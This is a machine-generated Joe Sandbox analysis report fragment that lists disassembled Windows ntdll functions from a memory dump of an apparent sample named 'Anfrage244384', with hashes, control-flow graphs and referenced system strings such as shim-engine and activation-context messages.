                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f605b7062bf42c8ea625db1b7bc8b6fa0ec36cefdc673e9cf86a33d9fded3a1c
                                                        • Instruction ID: e07ad568ec0091aae3632c48feee9dbc7706c0fd35a668edb34fed9eb388bcab
                                                        • Opcode Fuzzy Hash: f605b7062bf42c8ea625db1b7bc8b6fa0ec36cefdc673e9cf86a33d9fded3a1c
                                                        • Instruction Fuzzy Hash: 7F9002A5241550924601B2588804B0A45254FE1205B55D017F1155631CC525C9559135
                                                        Function 34DC2BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8f8eee7f78cefc02c01771b1fed5d235252d99e68692e40e0be5e037bf27af09
                                                        • Instruction ID: 852d23c4ffc03d8e730d193d858f1d9e02645406ffaf51d39da5bd6182d8efae
                                                        • Opcode Fuzzy Hash: 8f8eee7f78cefc02c01771b1fed5d235252d99e68692e40e0be5e037bf27af09
                                                        • Instruction Fuzzy Hash: 1C90023524141802D2817158480464A00254FD2305F95D016B0126725DCA15CB5D77A1
                                                        Function 34DC2BE0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 312905d388aa2769dae5c8783a30fc11104d23abf6fb540f6c2f7c6c29bae3a8
                                                        • Instruction ID: c19491c52931953b4b8df1cc6e3311565edd73f8bae000c23a24649f4adf892b
                                                        • Opcode Fuzzy Hash: 312905d388aa2769dae5c8783a30fc11104d23abf6fb540f6c2f7c6c29bae3a8
                                                        • Instruction Fuzzy Hash: 6090023524545842D24171584804A4600354FD1309F55D012B0165765D9625CE59B661
                                                        Function 34DC2B80 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 02b8b7f8cb4675914af1b999aa0ee03150451274600e57093d1e72c2b4a94d60
                                                        • Instruction ID: 06b24167061165eb6a24ade5fd0ea95f88e8da9fc39f1a0347bffd5168fc42be
                                                        • Opcode Fuzzy Hash: 02b8b7f8cb4675914af1b999aa0ee03150451274600e57093d1e72c2b4a94d60
                                                        • Instruction Fuzzy Hash: 7890023524141802D20571584C0468600254FD1305F55D012B6125726E9665C9957131
                                                        Function 34DC2BA0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dce78a03cc20870fca0bf1390c33c4637b3c881678abcf360f02fe109a6c2bbb
                                                        • Instruction ID: b6c5de9ac2fcf7e590ac79fe4c350746ce9d4ed723181b90b412273b0ac898d3
                                                        • Opcode Fuzzy Hash: dce78a03cc20870fca0bf1390c33c4637b3c881678abcf360f02fe109a6c2bbb
                                                        • Instruction Fuzzy Hash: 1990023564541802D2517158481474600254FD1305F55D012B0125725D8755CB5976A1
                                                        Function 34DC2B60 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6ec5b06856d75b598d93642d8a191d0e65f3ebe349b7dd3db49177e137a621b3
                                                        • Instruction ID: dceef08e196db1af423419a49319df3f5b19a2b7ecd298ec71eb74da387aeed9
                                                        • Opcode Fuzzy Hash: 6ec5b06856d75b598d93642d8a191d0e65f3ebe349b7dd3db49177e137a621b3
                                                        • Instruction Fuzzy Hash: E090026524241003420671584814616402A4FE1205B55D022F1115661DC525C9956125
                                                        Function 34DC2C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                        • Instruction ID: c08787a4116dcd4142f3c1f2744be2ab89c897d1d5bfea4c030b97fa2f9a2ba0
                                                        • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                        • Instruction Fuzzy Hash:
                                                        Function 34DC2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1125 34dc2890-34dc28b3 1126 34dfa4bc-34dfa4c0 1125->1126 1127 34dc28b9-34dc28cc 1125->1127 1126->1127 1128 34dfa4c6-34dfa4ca 1126->1128 1129 34dc28dd-34dc28df 1127->1129 1130 34dc28ce-34dc28d7 1127->1130 1128->1127 1131 34dfa4d0-34dfa4d4 1128->1131 1132 34dc28e1-34dc28e5 1129->1132 1130->1129 1133 34dfa57e-34dfa585 1130->1133 1131->1127 1136 34dfa4da-34dfa4de 1131->1136 1134 34dc2988-34dc298e 1132->1134 1135 34dc28eb-34dc28fa 1132->1135 1133->1129 1139 34dc2908-34dc290c 1134->1139 1137 34dfa58a-34dfa58d 1135->1137 1138 34dc2900-34dc2905 1135->1138 1136->1127 1140 34dfa4e4-34dfa4eb 1136->1140 1137->1139 1138->1139 1139->1132 1141 34dc290e-34dc291b 1139->1141 1142 34dfa4ed-34dfa4f4 1140->1142 1143 34dfa564-34dfa56c 1140->1143 1144 34dfa592-34dfa599 1141->1144 1145 34dc2921 1141->1145 1147 34dfa50b 1142->1147 1148 34dfa4f6-34dfa4fe 1142->1148 1143->1127 1146 34dfa572-34dfa576 1143->1146 1157 34dfa5a1-34dfa5c9 call 34dd0050 1144->1157 1150 34dc2924-34dc2926 1145->1150 1146->1127 1151 34dfa57c call 34dd0050 1146->1151 1149 34dfa510-34dfa536 call 34dd0050 1147->1149 1148->1127 1152 34dfa504-34dfa509 1148->1152 1165 34dfa55d-34dfa55f 1149->1165 1154 34dc2928-34dc292a 1150->1154 1155 34dc2993-34dc2995 1150->1155 1151->1165 1152->1149 1161 34dc292c-34dc292e 1154->1161 1162 34dc2946-34dc2966 call 34dd0050 1154->1162 1155->1154 1159 34dc2997-34dc29b1 call 34dd0050 1155->1159 1174 34dc2969-34dc2974 1159->1174 1161->1162 1168 34dc2930-34dc2944 call 34dd0050 1161->1168 1162->1174 1170 34dc2981-34dc2985 1165->1170 1168->1162 1174->1150 1176 34dc2976-34dc2979 1174->1176 1176->1157 1177 34dc297f 1176->1177 1177->1170
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                        • API String ID: 48624451-2108815105
                                                        • Opcode ID: 772571c6e4b38c8ae755f0f9a4372d8dd0e806577120c953d1b841b4d05db3c4
                                                        • Instruction ID: f2dd0ecdeaa5fef665b23152e12ef1b3425fc02bd6a128ce7dd485f8148a21dc
                                                        • Opcode Fuzzy Hash: 772571c6e4b38c8ae755f0f9a4372d8dd0e806577120c953d1b841b4d05db3c4
                                                        • Instruction Fuzzy Hash: 6E51F6B5F00216BFEB11DF989C9097EF7B8BF49244B508269E494D7745DA34EE048BE0
                                                        Function 34E32410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1178 34e32410-34e32433 1179 34e32439-34e3243d 1178->1179 1180 34e324ec-34e324ff 1178->1180 1179->1180 1181 34e32443-34e32447 1179->1181 1182 34e32513-34e32515 1180->1182 1183 34e32501-34e3250a 1180->1183 1181->1180 1184 34e3244d-34e32451 1181->1184 1186 34e32517-34e3251b 1182->1186 1183->1182 1185 34e3250c 1183->1185 1184->1180 1187 34e32457-34e3245b 1184->1187 1185->1182 1188 34e32538-34e3253e 1186->1188 1189 34e3251d-34e3252c 1186->1189 1187->1180 1190 34e32461-34e32468 1187->1190 1193 34e32543-34e32547 1188->1193 1191 34e32540 1189->1191 1192 34e3252e-34e32536 1189->1192 1194 34e324b6-34e324be 1190->1194 1195 34e3246a-34e32471 1190->1195 1191->1193 1192->1193 1193->1186 1196 34e32549-34e32556 1193->1196 1194->1180 1201 34e324c0-34e324c4 1194->1201 1197 34e32473-34e3247b 1195->1197 1198 34e32484 1195->1198 1199 34e32564 1196->1199 1200 34e32558-34e32562 1196->1200 1197->1180 1202 34e3247d-34e32482 1197->1202 1203 34e32489-34e324ab call 34dd0510 1198->1203 1204 34e32567-34e32569 1199->1204 1200->1204 1201->1180 1205 34e324c6-34e324ea call 34dd0510 1201->1205 1202->1203 1216 34e324ae-34e324b1 1203->1216 1207 34e3256b-34e3256d 1204->1207 1208 34e3258d-34e3258f 1204->1208 1205->1216 1207->1208 1210 34e3256f-34e3258b call 34dd0510 1207->1210 1212 34e32591-34e32593 1208->1212 1213 34e325ae-34e325d0 call 34dd0510 1208->1213 1223 34e325d3-34e325df 1210->1223 1212->1213 1217 34e32595-34e325ab call 34dd0510 1212->1217 1213->1223 1222 34e32615-34e32619 1216->1222 1217->1213 1223->1204 1225 34e325e1-34e325e4 1223->1225 1226 34e32613 1225->1226 1227 34e325e6-34e32610 call 34dd0510 1225->1227 1226->1222 1227->1226
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                        • API String ID: 48624451-2108815105
                                                        • Opcode ID: 52429affdcfe1b841235bf749b5b246bbe4f76ebfabc55becba82250e3c52eb0
                                                        • Instruction ID: d95a48cfcf47ac2e01927ea57eab5a9e9b38b915ecd2665390e69319580a1e4c
                                                        • Opcode Fuzzy Hash: 52429affdcfe1b841235bf749b5b246bbe4f76ebfabc55becba82250e3c52eb0
                                                        • Instruction Fuzzy Hash: DB5105B5B00645AFEB22CF9CC89097FBBF9EF84244B408859E4D5D7641EA74EA40CB61
                                                        Function 34E5A670 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1427 34e5a670-34e5a6e9 call 34d92410 * 2 RtlDebugPrintTimes 1433 34e5a89f-34e5a8c4 call 34d925b0 * 2 call 34dc4c30 1427->1433 1434 34e5a6ef-34e5a6fa 1427->1434 1436 34e5a724 1434->1436 1437 34e5a6fc-34e5a709 1434->1437 1441 34e5a728-34e5a734 1436->1441 1439 34e5a70f-34e5a715 1437->1439 1440 34e5a70b-34e5a70d 1437->1440 1443 34e5a7f3-34e5a7f5 1439->1443 1444 34e5a71b-34e5a722 1439->1444 1440->1439 1445 34e5a741-34e5a743 1441->1445 1447 34e5a81f-34e5a821 1443->1447 1444->1441 1448 34e5a745-34e5a747 1445->1448 1449 34e5a736-34e5a73c 1445->1449 1450 34e5a755-34e5a77d RtlDebugPrintTimes 1447->1450 1451 34e5a827-34e5a834 1447->1451 1448->1447 1453 34e5a74c-34e5a750 1449->1453 1454 34e5a73e 1449->1454 1450->1433 1465 34e5a783-34e5a7a0 RtlDebugPrintTimes 1450->1465 1456 34e5a836-34e5a843 1451->1456 1457 34e5a85a-34e5a866 1451->1457 1455 34e5a86c-34e5a86e 1453->1455 1454->1445 1455->1447 1460 34e5a845-34e5a849 1456->1460 1461 34e5a84b-34e5a851 1456->1461 1462 34e5a87b-34e5a87d 1457->1462 1460->1461 1466 34e5a857 1461->1466 1467 34e5a96b-34e5a96d 1461->1467 1463 34e5a870-34e5a876 1462->1463 1464 34e5a87f-34e5a881 1462->1464 1469 34e5a8c7-34e5a8cb 1463->1469 1470 34e5a878 1463->1470 1468 34e5a883-34e5a889 1464->1468 1465->1433 1475 34e5a7a6-34e5a7cc RtlDebugPrintTimes 1465->1475 1466->1457 1467->1468 1471 34e5a8d0-34e5a8f4 RtlDebugPrintTimes 1468->1471 1472 34e5a88b-34e5a89d RtlDebugPrintTimes 1468->1472 1474 34e5a99f-34e5a9a1 1469->1474 1470->1462 1471->1433 1478 34e5a8f6-34e5a913 RtlDebugPrintTimes 1471->1478 1472->1433 1475->1433 1480 34e5a7d2-34e5a7d4 1475->1480 1478->1433 1485 34e5a915-34e5a944 RtlDebugPrintTimes 1478->1485 1482 34e5a7f7-34e5a80a 1480->1482 1483 34e5a7d6-34e5a7e3 1480->1483 1484 34e5a817-34e5a819 1482->1484 1486 34e5a7e5-34e5a7e9 1483->1486 1487 34e5a7eb-34e5a7f1 1483->1487 1488 34e5a80c-34e5a812 1484->1488 1489 34e5a81b-34e5a81d 1484->1489 1485->1433 1493 34e5a94a-34e5a94c 1485->1493 1486->1487 1487->1443 1487->1482 1490 34e5a814 1488->1490 1491 34e5a868-34e5a86a 1488->1491 1489->1447 1490->1484 1491->1455 1494 34e5a972-34e5a985 1493->1494 1495 34e5a94e-34e5a95b 1493->1495 1498 34e5a992-34e5a994 1494->1498 1496 34e5a963-34e5a969 1495->1496 1497 34e5a95d-34e5a961 1495->1497 1496->1467 1496->1494 1497->1496 1499 34e5a987-34e5a98d 1498->1499 1500 34e5a996 1498->1500 1501 34e5a98f 1499->1501 1502 34e5a99b-34e5a99d 1499->1502 1500->1464 1501->1498 1502->1474
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: HEAP:
                                                        • API String ID: 3446177414-2466845122
                                                        • Opcode ID: f73e5f106c37331ae57bdd3e1b79a71aebf2a8d7f2ea86a49d3e7147d78ee8ec
                                                        • Instruction ID: 8c221834030b54f008ad1b8537ab49d234a2eead8b3bc6b2b066e1182b9b5b05
                                                        • Opcode Fuzzy Hash: f73e5f106c37331ae57bdd3e1b79a71aebf2a8d7f2ea86a49d3e7147d78ee8ec
                                                        • Instruction Fuzzy Hash: DEA16875A043128FE714CF28C894A1ABBE5FF88354F1949ADE945DB321EB70EC46CB91
                                                        Function 34DB7630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1503 34db7630-34db7651 1504 34db768b-34db7699 call 34dc4c30 1503->1504 1505 34db7653-34db766f call 34d8e660 1503->1505 1510 34df4638 1505->1510 1511 34db7675-34db7682 1505->1511 1515 34df463f-34df4645 1510->1515 1512 34db769a-34db76a9 call 34db7818 1511->1512 1513 34db7684 1511->1513 1519 34db76ab-34db76c1 call 34db77cd 1512->1519 1520 34db7701-34db770a 1512->1520 1513->1504 1517 34df464b-34df46b8 call 34e0f290 call 34dc9020 RtlDebugPrintTimes BaseQueryModuleData 1515->1517 1518 34db76c7-34db76d0 call 34db7728 1515->1518 1517->1518 1535 34df46be-34df46c6 1517->1535 1518->1520 1531 34db76d2 1518->1531 1519->1515 1519->1518 1523 34db76d8-34db76e1 1520->1523 1528 34db770c-34db770e 1523->1528 1529 34db76e3-34db76f2 call 34db771b 1523->1529 1534 34db76f4-34db76f6 1528->1534 1529->1534 1531->1523 1537 34db76f8-34db76fa 1534->1537 1538 34db7710-34db7719 1534->1538 1535->1518 1539 34df46cc-34df46d3 1535->1539 1537->1513 1540 34db76fc 1537->1540 1538->1537 1539->1518 1541 34df46d9-34df46e4 1539->1541 1542 34df47be-34df47d0 call 34dc2c50 1540->1542 1543 34df46ea-34df4723 call 34e0f290 call 34dcaaa0 1541->1543 1544 34df47b9 call 34dc4d48 1541->1544 1542->1513 1552 34df473b-34df476b call 34e0f290 1543->1552 1553 34df4725-34df4736 call 34e0f290 1543->1553 1544->1542 1552->1518 1558 34df4771-34df477f call 34dca770 1552->1558 1553->1520 1561 34df4786-34df47a3 call 34e0f290 call 34dfcf9e 1558->1561 1562 34df4781-34df4783 1558->1562 1561->1518 1567 34df47a9-34df47b2 1561->1567 1562->1561 1567->1558 1568 34df47b4 1567->1568 1568->1518
                                                        Strings
                                                        • Execute=1, xrefs: 34DF4713
                                                        • CLIENT(ntdll): Processing section info %ws..., xrefs: 34DF4787
                                                        • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 34DF4742
                                                        • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 34DF4725
                                                        • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 34DF4655
                                                        • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 34DF46FC
                                                        • ExecuteOptions, xrefs: 34DF46A0
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                        • API String ID: 0-484625025
                                                        • Opcode ID: 42c578ebb1021aa81ad0c0e5e68280ddbd43cf65f3455b438dd284ed6caa4d76
                                                        • Instruction ID: 99a4b1f21683c619769c3404d2fb215530fda702898aba19167cb7b21bb9be15
                                                        • Opcode Fuzzy Hash: 42c578ebb1021aa81ad0c0e5e68280ddbd43cf65f3455b438dd284ed6caa4d76
                                                        • Instruction Fuzzy Hash: 5D510575A00219BFFF10EAA4DC85FAE77A8FF04344F4004A9E546AB290EB719E458F60
                                                        Function 34D9A250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 34DE7AE6
                                                        • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34DE79D5
                                                        • Actx , xrefs: 34DE7A0C, 34DE7A73
                                                        • SsHd, xrefs: 34D9A3E4
                                                        • RtlpFindActivationContextSection_CheckParameters, xrefs: 34DE79D0, 34DE79F5
                                                        • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34DE79FA
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
                                                        • API String ID: 0-1988757188
                                                        • Opcode ID: 1706638668c58aacd384448905fd119d85ef4c79d43d0d5e48419057feb6c206
                                                        • Instruction ID: 826330b7b6da29bcebb84eb5eae18f511f245cbf6ef91d74d6d2c3f78c4bc288
                                                        • Opcode Fuzzy Hash: 1706638668c58aacd384448905fd119d85ef4c79d43d0d5e48419057feb6c206
                                                        • Instruction Fuzzy Hash: A2E1D3767043828FE754CE24C884BAAB7E5FF85364F504A2DE999CB390DB31D985CB81
                                                        Function 34D9D770 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34DE9346
                                                        • Actx , xrefs: 34DE9508
                                                        • RtlpFindActivationContextSection_CheckParameters, xrefs: 34DE9341, 34DE9366
                                                        • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34DE936B
                                                        • GsHd, xrefs: 34D9D874
                                                        • RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 34DE9565
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
                                                        • API String ID: 3446177414-2196497285
                                                        • Opcode ID: 09e49c543ab6c3cd7ffe13ef427f2814579f1f05d2f161a73f2287800e912053
                                                        • Instruction ID: 81db6890034e69e24e0b746180f2631af3c47995bbf723531784487fbecd796e
                                                        • Opcode Fuzzy Hash: 09e49c543ab6c3cd7ffe13ef427f2814579f1f05d2f161a73f2287800e912053
                                                        • Instruction Fuzzy Hash: C4E1B074604302DFEB10CF64C880B9AB7E4BF89358F444A6DE996CB295D771E984CF92
                                                        Function 34D7645D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RtlDebugPrintTimes.NTDLL ref: 34D7656C
                                                          • Part of subcall function 34D765B5: RtlDebugPrintTimes.NTDLL ref: 34D76664
                                                          • Part of subcall function 34D765B5: RtlDebugPrintTimes.NTDLL ref: 34D766AF
                                                        Strings
                                                        • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 34DD9A2A
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 34DD9A11, 34DD9A3A
                                                        • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 34DD99ED
                                                        • Getting the shim engine exports failed with status 0x%08lx, xrefs: 34DD9A01
                                                        • LdrpInitShimEngine, xrefs: 34DD99F4, 34DD9A07, 34DD9A30
                                                        • apphelp.dll, xrefs: 34D76496
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
